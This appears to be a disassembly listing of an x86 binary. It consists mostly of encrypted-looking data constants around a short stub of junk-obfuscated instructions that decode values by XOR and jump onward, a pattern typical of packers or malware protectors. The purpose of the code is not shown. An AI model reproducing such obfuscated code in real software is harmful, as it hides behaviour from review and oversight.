		dd 44810424h, 1A0424h, 55450000h, 823843C3h, 0EDA22B38h
		dd 0F7E9DB81h, 0B5FF16D0h, 7E92979h, 2E8DCE81h,	95FF2296h
		dd 7E92285h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0C5C35747h, 0D6D9D0EDh,	0BF9962B7h, 0C5BD894Bh
		dd 6A07E920h, 3195FF00h, 8B07E90Ch, 0DF5DEBC0h,	0F942D090h
		dd 0BEF92C04h, 89D3CE78h, 24DE4860h, 85661A5Eh,	0A1D5071Bh
		dd 25170AFBh, 2A390ADDh, 63E52BE1h, 3686E823h, 117C2D4Bh
		dd 0C7E00554h, 7F0F6997h, 0FF0B7F88h, 14721E65h, 0E1FEFB75h
		dd 0AA7107B7h, 0D2C775B8h, 0C7A6979Eh, 0A4CDA58Dh, 135DC7F6h
		dd 0A96B6618h, 0ECBCEA3Ch, 13E9h, 0E5E78300h, 24h, 3 dup(0)
		dd 47CE9h, 0A2D27900h, 0EF8DA113h, 3A44EA46h, 8B0919BBh
		dd 0D1AB4EEAh, 0F6BCC5Ch, 0B1E392EAh, 0E751DC60h, 2B852850h
		dd 99FE7701h, 9914940Dh, 0CEFC286Ch, 0D6A04A98h, 0FBAF420Eh
		dd 1C912751h, 4D89AB0h,	3E38D27Ah, 2C04869Eh, 0CC106288h
		dd 56096C80h, 2B815BFEh, 5626CB93h, 9E66F48Eh, 0AAFB6333h
		dd 0FBA2CE2Ah, 0DC5123C9h, 109DDF70h, 585FC96h,	0F305C06h
		dd 59EF89A3h, 7CA0FBCCh, 0BA76DA64h, 0BF87F91Eh, 0A2820213h
		dd 7C95314Dh, 79A824F8h, 0B992BFBh, 0EE1AC32Fh,	12BE3749h
		dd 51EC7EF8h, 3A2C4269h, 181F0ADh, 13305C88h, 0FB370391h
		dd 5C88AF0Ah, 0D0A84F30h, 0FAAE400Ch, 0C9DB2B55h, 1A3EEB3Bh
		dd 12E68773h, 1D56AE6Bh, 35908431h, 32000000h, 0ED6A04Ah
		dd 5CC51597h, 5FFE1230h, 30E04282h, 0CD6FF784h,	12A47B3h
		dd 0B8000000h, 8D4A64Ah, 72D2A84Ch, 70CC4E46h, 0DE0AB345h
		dd 3AD403Ah, 5CE68FE9h,	9D5A74Ah, 73D3A94Dh, 74C8B047h
		dd 7FC7B558h, 0E31FBE52h, 17D17884h, 59FB7A02h,	517DC1B3h
		dd 4961BDBFh, 38D224C5h, 5CC54949h, 11D9CB30h, 30DA42B2h
		dd 77BC84h, 4A060000h, 9B43D5A7h, 581C3171h, 9468FE84h
		dd 0C28E220Eh, 0C7F2522Ch, 0B5588C2Dh, 6F822EC7h, 8D85310Dh
		dd 720E6D08h, 0B94FAB4Bh, 0B5C76965h, 0B7356D69h, 7514386Fh
		dd 8831DD85h, 3119694Bh, 548584h, 4ADD0000h, 4D09D5A7h
		dd 4672D2AAh, 5B77CFB1h, 537FC7B1h, 6260BCBCh, 97620B35h
		dd 80027E0Bh, 89FC92EAh, 0B410E687h, 7A08D4A6h,	0F23E38D2h
		dd 0A44933C6h, 0D4A64A1Eh, 0B9F9A842h, 5B305CC4h, 0D44DE149h
		dd 305CC4F9h, 7C9D3CD0h, 8430E084h, 1E2h, 0A44AC000h, 10B540DAh
		dd 7A0014E3h, 0D98D18AAh, 0C31FDB64h, 621F65F7h, 305C8722h
		dd 2468EA3Ah, 0B814E87Eh, 0BC18E496h, 0ED02E298h, 4FB042EBh
		dd 0D264A049h, 0C75205A8h, 50CBC650h, 0E637B56Fh, 0C65460BCh
		dd 7D9F39B4h, 40422303h, 0D5287370h, 4CEE1AC3h,	8A238332h
		dd 8B374922h, 0E39DB3F7h, 1B31E54Dh, 62FB8559h,	9C196314h
		dd 0EAA8692h, 9B1B96ECh, 7528735Ch, 0A4E49D2Fh,	6C28735Ch
		dd 8F5CA036h, 0E2CD881h, 8040C16Ch, 0FE8C1A48h,	0F2h, 33A0B3C4h
		dd 5CC53E7Eh, 8CCD630h,	384A9A18h, 226110AAh, 0F037B59Ah
		dd 0D46652B2h, 83A90BAAh, 0FA4A32C7h, 4B9742EFh, 6AF88F6Eh
		dd 9E2C4EE2h, 96E00A46h, 0C7B55804h, 518D657Fh,	11D37A9Ah
		dd 4FF479FBh, 8C1A3D75h, 3BF1h,	0C369F500h, 9B576DB1h
		dd 2DBAB329h, 0B745019Bh, 3E7E33C5h, 0D6305CC5h, 456564CCh
		dd 0CFB05CC5h, 189809D5h, 0FFB05CC5h, 0F00528D1h, 10B0E17Bh
		dd 305CC5h, 6BBA13A2h, 0C4000000h, 0A537A0B3h, 0B593F1ECh
		dd 3E3C137h, 5ADBA5B7h,	0C2225CFEh, 73928623h, 0FE9FB128h
		dd 0C45620CAh, 8498B129h, 0D47A9642h, 0BA485AAAh, 3D38737Eh
		dd 286110AAh, 0A306351h, 0E2084498h, 355B4C90h,	0CC86294h
		dd 31B393E9h, 83514040h, 66D2D020h, 463BA84Bh, 20835146h
		dd 0B589F306h, 0AF3D672Fh, 252B641Dh, 9D072873h, 0A0B3B210h
		dd 0B3ECA537h, 7F384C98h, 0A77FF913h, 1BB78F1Dh, 0D561B1F1h
		dd 0DDE73FBDh, 9834B94Fh, 453C0072h, 4B76C21Ch,	2F495BFh
		dd 0C3793968h, 0D9B0556h, 56C31494h, 10A6FC05h,	1C5EFCD8h
		dd 6B152791h, 65E73F9Bh, 0C7666699h, 0FB8DEF0Dh, 0C7BABE53h
		dd 556C2C7h, 6DC55B49h,	54263460h, 3D788h, 546F0000h, 0D7A14AF6h
		dd 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h
		dd 0B7356D69h, 0B3CD636Fh, 0A9D36753h
		db 55h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5C84h
		mov	[esp], esi
		push	108h
		mov	[esp], edi
		push	edx
		mov	edx, 238B6FADh
		xor	edx, 48E00BC0h
		sub	edx, 637B383Ah
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 2A6C722Dh
		pop	dword ptr [edi+8]
		push	eax
		mov	eax, 8
		add	eax, edi
		xor	dword ptr [eax], 2A6C722Dh
		pop	eax
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 65h
		dd 7BA878Ch, 301CB85Ah,	0C50307F0h, 37A7E0FFh, 975936E3h
		dd 0D57166FDh, 28C44004h, 0ACA9014Dh, 73E74EDAh, 64EA12E2h
		dd 8235188Dh, 0B0080A69h, 0B3E25677h, 9C03161Bh, 6F0D0051h
		dd 18586A6Ah, 6A2B460Dh, 5882408Bh, 6797885h, 8F8B3315h
		dd 0CF663B0h, 277C2986h, 3D10630Eh, 0ADC42469h,	1B1E6FADh
		dd 0D00344B4h, 8BE9091Dh, 491D413Ah, 4C3C6F7Bh,	0F39E1662h
		dd 8AD94DA5h, 25E9219Bh, 38000000h, 67BB37h, 8 dup(0)
		dd 598E9h, 7EFE1D00h, 0CBB145F7h, 16688E2Ah, 67E53D9Fh
		dd 0ADCF62CEh, 238FA800h, 55C76E0Eh, 9B35B83Ch,	0CF690474h
		dd 0BDA2532Dh, 93F0B0E1h, 0EA20286Ch, 0D6A04AB4h, 0CDAF420Eh
		dd 1466F420h, 3A6E8CC8h, 0E9468EAh, 0E586F07Fh,	1FAD4DFFh
		dd 722FB9C7h, 305CB132h, 4C68C0E2h, 2FADE4A8h, 0E7094599h
		dd 0E80D4995h, 5025C88Ch, 0CF4C234Bh, 65B94F48h, 23DF7EA6h
		dd 3DF796BAh, 64D05D1Fh, 9A04A9D3h, 32119100h, 24CB305Ch
		dd 8E6A3854h, 0AB7C052Ah, 0C5B6AC0Fh, 7C95F580h, 216B11A0h
		dd 0E07B393h, 2F62FC8Eh, 305C546Fh, 0FB3703A1h,	0E963FA84h
		dd 15FCAC40h, 0EF8EF23Eh, 0D06A1225h, 5A74CF45h, 0C028DA7Ah
		dd 0BFB953FDh, 9E1E932Dh, 8C305CB0h, 5CB09515h,	69257F30h
		dd 25A3FF3Bh, 0B096168Bh, 247E305Ch, 0B1A23DCCh, 9779305Ch
		dd 0F3DB25F6h, 871B8430h, 0AF000000h, 0F3B3EE78h, 1D305CC4h
		dd 4A32C787h, 9400E8FAh, 6D65F086h, 767D386Ah, 80F4B4E5h
		dd 861C305Ch, 33752CF0h, 30305C81h, 249C3DDCh, 9843124h
		dd 8D82027Fh, 1092305Ch, 4D8A2B4h, 17FB27Eh, 4B000000h
		dd 8D4A64Ah, 72D2A84Ch,	70CC4E46h, 75C9B344h, 79C5B759h
		dd 28CB7292h, 2DBF1E76h, 24A137E0h, 0C18D6910h,	0F1F353D1h
		dd 3799D39h, 4A34C672h,	740614B0h, 0D3DE1AA8h, 96CBA53h
		dd 0A9FBABF1h, 0A74A4341h, 0A94D09D5h, 54B873D3h, 9EDE73B5h
		dd 0E597A517h, 0E19BBD19h, 0D99BB11Dh, 0D1A34905h, 0C9AB410Dh
		dd 4AEE6F75h, 0AC3061A3h, 4BC5250h, 308051F8h, 4E8430DAh
		dd 88h,	0F8829430h, 0A74A9230h,	8B9B43D5h, 0C18D2109h
		dd 0C4F14D2Fh, 1193824Ah, 0D014B5D9h, 46463B3Dh, 0CE305CC5h
		dd 0DAF46D4h, 0EA94BAE8h, 0D4CC8854h, 0D3C28E56h, 2DC18D51h
		dd 0BF16B648h, 49A7D88h, 0A24B4D38h, 0B61EE850h, 3644E8A0h
		dd 0EA465CA0h, 0B71FE786h, 0B013DFA1h, 8431BE40h, 3EBEh
		dd 0A74A0400h, 0AA4D09D5h, 0F718ACE4h, 952BB985h, 69E03C49h
		dd 54784675h, 31EC30C6h, 0A74A7E1Fh, 6CE58D5h, 60A28EF0h
		dd 8D4A64Ah, 5CC53E99h,	52FB1D30h, 30E03F81h, 1BF84h, 4A0B0000h
		dd 4E0ADAA4h, 0AE72D5ACh, 0A59BAB07h, 0B6EB8517h, 305C76F6h
		dd 70AC841Eh, 9450F91Fh, 2275F882h, 9B16A037h, 37B55FA0h
		dd 0D27A0C96h, 0BBF7433Dh, 0EC70A12Dh, 72A69210h, 0C084A8D8h
		dd 64B84E2Ch, 25A7FE5Eh, 0A335CBD9h, 7563143Bh,	5D704095h
		dd 12906C02h, 0CE44DF7Bh, 29012271h, 90E208A4h,	8D3D54Ch
		dd 2C202873h, 0C7B15B8Dh, 0F183A935h, 565B972Dh, 1B8D3DC8h
		dd 8C757B88h, 0A12B1022h, 15DD739Fh, 15E98BA1h,	1DE193B9h
		dd 0EFA23C4Eh, 287374AFh, 0F8A94361h, 287374B8h, 82EE4A58h
		dd 710329DBh, 0AAFA62FCh, 1C3C028h, 7D8C1A30h, 14Fh, 66EE7845h
		dd 0BDFDAC2Eh, 57305CC4h, 597FD44Ah, 3AC814DAh,	913023FEh
		dd 512BCF7Bh, 0D361F78Dh, 9C15AF39h, 305BD71Ch,	0C2EAEF4h
		dd 0D8109272h, 0B4AC6A29h, 2AFAA837h, 43F28CAEh, 0E80F3BD1h
		dd 0A4220290h, 9F671538h, 875F1933h, 48EF6FFDh,	1AD6EC30h
		dd 2E29CBEh, 50A64749h,	87D492C5h, 58904F9Eh, 0A9CDE7Ch
		dd 18D05242h, 74D42C95h, 0CF598C1Bh, 723BD2D2h,	88604228h
		dd 4855h, 0BAB36D00h, 0C6E69B2Dh, 4EB05CC4h, 0F41AC254h
		dd 0C028BA8Ah, 0C4B5F5ACh, 3458B05Ch, 1695AA95h, 659AE984h
		dd 50B5F5ACh, 455FB05Ch, 3D2BD5B0h, 1EBEF3F5h, 0F6305BD6h
		dd 908C01ACh, 0F2000000h, 0B939EC5Bh, 2F0BBB19h, 37A0B39Dh
		dd 76BA08A5h, 0D6ED56C3h, 0DFE53943h, 8A07E149h, 37B4E54Fh
		dd 0D5E13D67h, 0AA33547h, 0DF7C5E6Fh, 6E73BFA8h, 0F64E28C2h
		dd 7341B20Fh, 0CA736528h, 0F382FC1Eh, 5A3EDA73h, 0E03C3ED2h
		dd 7D564BE2h, 0DA5508E0h, 1FC6BB4Dh, 7730632Fh,	8029B2Dh
		dd 18790DA5h, 5763BF7Bh, 0C688DC5h, 0C01CB230h,	3D00A9AFh
		dd 2C7BA232h, 0ACA9A2B8h, 0EE158C1Eh, 0A4287313h, 4CE06CFEh
		dd 8CCD62Eh, 344E96E4h,	7851F1FCh, 0C4F3B3EEh, 871D305Ch
		dd 0EC7BF6ABh, 7B36C05Ah, 305CC53Bh, 0DADACFD5h, 3A305CC4h
		dd 6B268068h, 384C9484h, 0B3C96CE8h, 0A975072Bh, 7133DF1Bh
		dd 5F0B21ADh, 6163C3BDh, 64F622D3h, 21BCCA1Ah, 0B3E3915Fh
		dd 0EFB8A431h, 1FFF8E6Ah, 0B8882304h, 1933F594h, 8C48D65Fh
		dd 0F0240C6Eh, 88C4185Ah, 0D5CA1A98h, 3CDE0AB3h, 0EB01B342h
		dd 394148Dh, 227CC821h,	21042F6Fh, 2DC3E1C8h, 0AE410D9Fh
		dd 846C76CEh, 37768h, 548F0000h, 0D7A14AF6h, 0CFA9430Fh
		dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h
		dd 0B3CD636Fh, 0A9D36753h, 0EC835E55h, 242C8904h, 0C581E589h
		dd 4, 8704ED83h, 685C242Ch, 2664h, 57240C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 34895C24h, 0A0B85024h,	56623260h
		dd 0E95159BEh, 0F6814673h, 0D832127h, 2D5EF021h, 5A322EC9h
		dd 8158C189h, 4ECh, 24248900h, 4240481h, 5E000000h, 1A468h
		dd 240C8900h, 0FF08468Fh, 815E2434h, 4C4h, 2434FF00h, 4C48159h
		dd 0E9000000h, 0FFF944DAh, 0A5EB1428h, 3664B89Bh, 0C50307F0h
		dd 13A4E0FFh, 0C0651FE3h, 5D1559A4h, 95CD5073h,	94141637h
		dd 8B7E70B1h, 85764B42h, 0C01B42B0h, 0B41E4231h, 11E831A7h
		dd 0FF000000h, 22E99E4Ch, 636F7A64h, 44876ADh, 59225C4Dh
		dd 605EFE8Bh, 81614FB7h, 6A46C6h, 0DE900h, 75990000h, 5A7F51EEh
		dd 0E3E1F264h, 33EECEEDh, 57BB66C0h, 3034FFF5h,	9E9F960h
		dd 0C7000000h, 94E8F9Bh, 0E32D105Bh, 0EA815A61h, 394C359Eh
		dd 1043C281h, 0D3817703h, 27AB3E28h, 0E4C6EA81h, 0F570BF5h
		dd 8959FFBFh, 0BFF50614h, 1FA834EAh, 6003E883h,	48612DB6h
		dd 9845C181h, 0F8814114h, 0FFFF9658h, 0FFAB850Fh, 850FFFFFh
		dd 11h,	0CE9h, 0E5B71F00h, 0EB294377h, 9D2798D8h, 0AB8D8D2Bh
		dd 8107F038h, 934ECCF2h, 0F5B58B15h, 8907E919h,	0E9320D8Dh
		dd 0FC68B07h, 188Fh, 13E900h, 37650000h, 0FB46AC5Ah, 0F072E251h
		dd 0C9EB4883h, 0EFCFB3A0h, 0E585C71Fh, 5807E922h, 6A000070h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4161C355h, 0B44BB4B2h, 89858B59h,	0C707E91Bh
		dd 0E922B185h, 7, 0C7B70F00h, 1F55B5FFh, 6A07E9h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 11E88EC3h, 0F5000000h, 159A5EA4h, 866F578Ch,	0EC93DB13h
		dd 0C6106ED0h, 0E8BF6652h, 0FF585BF2h, 0E9228595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0A5E59D91h, 308D8533h, 6A07E9h, 0C3195FFh, 0C08B07E9h
		dd 94E71FEBh, 0BFC8EEFAh, 96E06E60h, 0BF48190h,	0F7221AD2h
		dd 0BB066577h, 7E8F4B88h, 98C03C5Fh, 2DE9BFh, 18630000h
		dd 6216h, 9 dup(0)
		dd 0E9000000h, 500h, 20CDAF4Ch,	9B1A60F4h, 0C8651739h
		dd 3FB6346Ch, 71FC789Dh, 0BF523EFBh, 8D8430BDh,	25CA660Fh
		dd 0DC7EDA5Bh, 306A13A2h, 6C8C4141h, 0CBB9D328h, 4339DC78h
		dd 0AD09E1E3h, 0A511ED8Fh, 0EF49E490h, 880C054Dh, 8B0918B4h
		dd 59B29BBh, 0CB7F9D39h, 0B7C96FDBh, 7B39321h, 0BEF38DF3h
		dd 305CC4FEh, 9D1D8C16h, 77305CC4h, 0F478A92Dh,	38049A28h
		dd 16D27B9Dh, 59FB7A04h, 8D2FC6B6h, 8632126Ah, 6AEA3B8Fh
		dd 0AA7A089Ah, 7EAA5375h, 7815A7D9h, 88F609E1h,	535E9A84h
		dd 0D5294BE1h, 5C70912Ch, 5A44830h, 3134ECD4h, 77854184h
		dd 0CC504105h, 87C964h,	11BD0000h, 12B078FCh, 4339DC78h
		dd 0AD09E1E3h, 9711ED8Fh, 0B233A5FEh, 0A40D0C08h, 8C17B135h
		dd 0C2836FFDh, 305C5EC0h, 4CAA53A5h, 5EBFFFB2h,	7499305Ch
		dd 0B6168C00h, 0B310D8A2h, 84314651h, 55554CE6h, 0BF305C6Bh
		dd 5D4B50E5h, 0FE8C7C4Ch, 1FF32h, 4ACB0000h, 0B055D3A6h
		dd 49E9C940h, 0CB6F6BBBh, 8B536DB1h, 0E5D1199Bh, 9D2FADh
		dd 8E44CE33h, 0F18BAE35h, 2901972Dh, 9534D8F5h,	30BDBF53h
		dd 69047684h, 0D5A74AD9h, 0D3A94D09h, 0B554B873h, 179EDE73h
		dd 3FD397A5h, 694E40Bh,	0E20AC70h, 1438906Ch, 0DA4CA475h
		dd 7AAA8430h, 38000000h, 0D92ED78h, 9DC193A7h, 2D16960Bh
		dd 0A4FE305Ch, 0B3C5684Ch, 5C2CBEFEh, 0BE4C5630h, 0F371A02Ch
		dd 49EFEB07h, 4EE2EF37h, 0AEBE57AFh, 5779A0Ch, 8312AB39h
		dd 7F5B974Ch, 0A113A2DAh, 8A14E88Ch, 9F0181F0h,	9113305Ch
		dd 0A7257D59h, 3AE36F5Fh, 31001799h, 365784h, 4A730000h
		dd 4D09D5A7h, 9772D2AAh, 0C2BA5F07h, 64886062h,	809531C5h
		dd 5E9A28F4h, 8A5D77Ah,	0D4A64ABAh, 0C53E9908h,	0FB1D305Ch
		dd 0E03F8152h, 1BF8430h, 0B000000h, 0F3B3EE78h,	1D305CC4h
		dd 0E90FAB87h, 95314F97h, 9A28F480h, 0A6D07A5Eh, 87077A14h
		dd 89305CC5h, 6C83DF1Bh, 9B35C168h, 5CC4A6E6h, 41306E30h
		dd 305CC541h, 0F743D1D3h, 0A2532DC3h, 82FF6C8Fh, 305CC502h
		dd 68029012h, 0B5ADFE39h, 49583437h, 9127A5FDh,	5DA1374Dh
		dd 7719B43h, 9E13A53Fh,	2873AF1Eh, 5044ACF6h, 9B35B8BAh
		dd 463F0771h, 2873AF44h, 0F319C5D1h, 4FDD5FB7h,	18DE7FE3h
		dd 0AE93138Eh, 277D2873h, 334DEFCBh, 7A041682h,	750C2EAAh
		dd 287AEBAFh, 82923A07h, 10A63C00h, 68117FCCh, 51DC9EBCh
		dd 91E309D5h, 0C8FB374Dh, 8C1ABAF8h, 13576h, 0A0B34C00h
		dd 97B3BE30h, 9971CE9Ch, 0BCE27BDCh, 40D67657h,	4EDCE63Eh
		dd 8C6C5BCh, 564C37B5h,	4E28C28Eh, 138D21BCh, 3E361B1h
		dd 0F447F481h, 0BA169B57h, 801EE690h, 0E14933C4h, 0C3552735h
		dd 17387829h, 0CAD82873h, 6D79326Eh, 0D4284CE1h, 5FFE62CEh
		dd 78F58795h, 1A8DF9CBh, 27758Ch, 0B34D0000h, 0E69B2DBAh
		dd 0B05CC4C6h, 1988544Eh, 0B05CC499h, 86A9507Ch, 3160FA71h
		dd 305CC591h, 3B8C2183h, 0AEh, 3EDC784Bh, 3E39F43Ch, 67621FA9h
		dd 4F37B594h, 2FCD8955h, 313BB4Dh, 0CB27BD81h, 5BFC58C6h
		dd 942C6C25h, 0BEE42873h, 3CCED428h, 73944545h,	1DD5CF28h
		dd 0ACE593B9h, 287393ECh, 5EE87E24h, 0C01C9EF6h, 0AC3A76C2h
		dd 941F9F12h, 0B3F12873h, 93298647h, 0F81C2873h, 0FB859751h
		dd 0A734277Ah, 7392AAEAh, 0EC0E6A28h, 0B558FC92h, 0DA731C7h
		dd 73931494h, 4AA6FC28h, 5A35255Ch, 257F3063h, 195FFDD9h
		dd 835B2868h, 24BAE820h, 0F8A1A7D8h, 6D2D64FEh,	0A720835Bh
		dd 3F71EFAh, 0EA78337Eh, 57C0530Eh, 9E9CCCC5h, 8E142872h
		dd 0A0B3A3E7h, 7CECA537h, 34384C8Bh, 3E096B69h,	694E686h
		dd 0FE78923Eh, 0DFDFD26Ch, 31286C0Ch, 9E3A8773h, 4322027Ch
		dd 8DC5E797h, 4B7D1C30h, 0A845D7A1h, 0CA878CBEh, 0D1D1C0F0h
		dd 43C2861Ah, 9A67D361h, 82621C3Eh, 805CDE36h, 4C0696Fh
		dd 4FE984F6h, 2557E5ADh, 0A335CBD9h, 1B189809h,	0AEF8C286h
		dd 861AB3F3h, 0B1475DC2h, 0AB22579h, 0CC000000h, 1A0AD254h
		dd 0F23E4498h, 0D7A14AD0h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h
		dd 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h
		dd 89525E55h, 4C281E2h,	53000000h, 4BBh, 5BDA2900h, 5C241487h
		dd 670568h, 240C8900h, 59C68h, 24148900h, 6BF5756h, 8907F039h
		dd 0F1895FFEh, 148B545Eh, 4C48324h, 4EC81h, 34890000h
		dd 89CE8924h, 8B5E0872h, 89562414h, 4C681E6h, 83000000h
		dd 348704C6h, 0C8B5C24h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 3DC4E95Ch, 52BBFFF9h, 0CD20453Ch,	0F03D8CB8h
		dd 0FFC50307h, 60E05BE0h, 34ADC711h, 3C06285Eh,	6C1706Ah
		dd 2D1E974Ah, 8F06983Ch, 0E20D0C04h, 0ACE33E08h, 0CF5C672h
		dd 98F4406h, 0F14FCA27h, 0DD97C014h, 6E5F261Fh,	108F6475h
		dd 701BFE48h, 56671435h, 4A24D177h, 13E847h, 0A9F60000h
		dd 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0CE8B667Eh
		dd 2820F5Eh, 8B000000h,	50C681D3h, 6600005Ch, 0BF32F3B9h
		dd 16E5h, 8BCF8B66h, 34D6801Eh,	0B826F381h, 8E81FFBh, 0A7000000h
		dd 55B4849Fh, 0B0626CAFh, 0EB815977h, 23D7FA11h, 0C2816660h
		dd 840FCC09h, 0
		dd 0DEF38161h, 5164DD12h, 5ACF8B66h, 9E953h, 85560000h
		dd 3886B28Bh, 8FF56EEFh, 0E0816606h, 0EE833241h, 0E3816004h
		dd 5433C7D3h, 1EF8361h,	11850Fh, 0BF0F0000h, 24E9C2h, 0CE7D0000h
		dd 89B4887Eh, 0E819F383h, 5, 2F2F05ADh,	0E958F5A9h, 0FFFFFF7Bh
		dd 768AAB1Ah, 0BBE5F38Fh, 0FE87861h, 0C9000000h, 0EA8D4A41h
		dd 0A05597A3h, 3E91644Fh, 605AA371h, 7E9D18Bh, 4C000000h
		dd 8C6F9DC3h, 81613691h, 7266C2h, 0BFC02B00h, 65E0C8A0h
		dd 801034FFh, 0F5BE3D9h, 385h, 0F18B6600h, 0F9C4EB81h
		dd 0EB811883h, 22BB7F7Ah, 8E9h,	0FB683700h, 85F74023h
		dd 0CFEB8112h, 0F521B5A8h, 8FCE8B53h, 0F600204h, 385h
		dd 0DABF0F00h, 0DE960h,	46D0000h, 325956D0h, 0A20EFF0Eh
		dd 0E9757FF2h, 6, 0DE640684h, 6161BBE8h, 0FE8h,	0CAB6B600h
		dd 0B7D8200Ah, 0EBF4A124h, 0CBBCD7C5h, 79A8D681h, 835F2E15h
		dd 0C98101E8h, 67D9DAE8h, 0F484848h, 1289h, 0DE900h, 0F08D0000h
		dd 7AFDE634h, 656C48EEh, 81E298ADh, 0FF8E70F8h,	55850FFFh
		dd 0B1FFFFFFh, 14E8ACh,	68D30000h, 1103C687h, 42F21711h
		dd 6CB58C53h, 0A8E42640h, 81507ED9h, 116F60D7h,	66585F0Eh
		dd 2064DE81h, 701CC081h, 0BAF90000h, 1BE6h, 7EE9B966h
		dd 0BE6630FFh, 0F5B133Eh, 381h,	0C88B6600h, 0F044F381h
		dd 0F3817086h, 39FBD257h, 286ABF66h, 9D7EB81h, 89F86CC3h
		dd 5AD98118h, 83170A14h, 0BF0F01E8h, 484848F9h,	83F2B70Fh
		dd 850F01EAh, 0FFFFFFBCh, 0BE8h, 88995500h, 3544F7C9h
		dd 600CFAC2h, 0AE859F5h, 0FE000000h, 406D8C0Bh,	567BABD1h
		dd 2CB660A2h, 0B70F5F61h, 9AC781DAh, 60000072h,	0F4EB8166h
		dd 3E15BE99h, 33611057h, 0DE8C9h, 0EF1E0000h, 9BBBC734h
		dd 41669E13h, 81C6AEC9h, 5E2DDDEEh, 148B5E45h, 2C860F0Fh
		dd 0E8000000h, 11h, 0CC847790h,	0D53D44BFh, 52E271CFh
		dd 87417C7Dh, 10E959h, 288B0000h, 9BA5EB14h, 896C4C55h
		dd 0BBD94FCBh, 815BC265h, 640C31F2h, 0D4C8806Bh, 0D5F9C281h
		dd 0E880624Dh, 49EA8149h, 0F872E1CDh, 800F1489h, 816646D7h
		dd 8159A3E8h, 3AF680E9h, 0ACBE667Dh, 7CC18121h,	0B07D3AF6h
		dd 20F981A7h, 0FFFFF8Eh, 0FFFF8985h, 0BE6660FFh, 0F18B05BCh
		dd 0A0758261h, 14690889h, 8DA6DC78h, 37CC634Bh,	35A12E86h
		dd 0D9259086h, 30254813h, 2EEC9905h, 3F25156Fh,	30258102h
		dd 0D980786h, 3022AB81h, 305EA589h, 0B5E39086h,	37CC6EDFh
		dd 9FBA4CC8h, 4A49A4Ch,	0B85DD6A2h, 0F9907BA6h,	0BD22AB98h
		dd 0DCBAFA03h, 0BBF56F81h, 69A08E76h, 7E22CDA0h, 3025166Eh
		dd 72F24986h, 74AED42Eh, 30AE46A2h, 3401650Fh, 0D906FDEh
		dd 0BD22A181h, 0DCBAFF03h, 0BBF5ED81h, 3035B07Eh, 38CC8486h
		dd 96254286h, 302BA489h, 3B6C9086h, 0C0A0474Fh,	0D9DADB79h
		dd 3025128Bh, 7D7F940Bh, 359D836Fh, 0CF254286h,	7798AC65h
		dd 0BD2260C7h, 0C067450Bh, 15379C81h, 0FF0E94B6h, 0A0758247h
		dd 14690889h, 8DA6DC78h, 37CC634Bh, 35A12E86h, 0D9259086h
		dd 30254813h, 83EC9905h, 0A4F305E9h, 22B9h, 0AF8D8D00h
		dd 6A07F042h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E9B7C351h, 0Ch, 0E12F17C4h, 0C5DC3476h
		dd 0E8DC6972h, 320D8D89h, 0BA6607E9h, 85C73F83h, 7E922E5h
		dd 6B18h, 0D5DB8166h, 65E4BE59h, 85C704B0h, 7E922B1h, 0
		dd 50D78166h, 6DB5FF44h, 0F507E92Ch, 2B19D8Bh, 95FF07E9h
		dd 7E92285h, 6A79B7h, 0C3195FFh, 0C08B07E9h, 3A4079EBh
		dd 623127FCh, 0F84A6A43h, 64B4F56Ch, 62942FA4h,	1E1ED908h
		dd 0BF434D75h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h
		dd 7E56FFA6h, 0ACA2F840h, 46B76AEEh, 7BB25E8Ch,	0CE7D447Fh
		dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h,	40A6C600h
		dd 248E0B90h, 4D25C7CEh, 216EA3F3h, 2179184Ch, 65310065h
		dd 12047710h, 54D8E7F7h, 22D73B32h, 0A3E56BD2h,	0E8C46238h
		dd 14h,	6FDE9525h, 40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h
		dd 0CDDB58Bh, 0E85B07E9h, 11h, 50C3D1A8h, 9BB0D6Ch, 5F5FD72Eh
		dd 0C27EC857h, 58D89B5h, 5A07E925h, 61EAC381h, 0B5890000h
		dd 7E91341h, 33B6B2BFh,	0FAF78160h, 666033AEh, 0B8BF78Bh
		dd 0CE59D01h, 0E98107E9h, 5F35AF85h, 14E9h, 7D727100h
		dd 5C69F25Ch, 8B80163Eh, 0E47FDBEFh, 2FD0B3B3h,	3EC18100h
		dd 0F331B96h, 684h, 699D8900h, 8107E90Ch, 662E1DF1h, 0C6C2BA1Dh
		dd 0B895849h, 2DCEBE66h, 5C4DEB81h, 952B0AABh, 7E91B81h
		dd 5C49C381h, 0F510AABh, 687h, 8A0F00h,	5E000000h, 1EF81h
		dd 850F0000h, 0FFFFFF8Ah, 2FD9958Bh, 0FE907E9h,	0E8000000h
		dd 4A9C50h, 2 dup(0)
		dd 34E90000h, 53000009h, 9B35B8B8h, 0CC680577h,	73DD502Ah
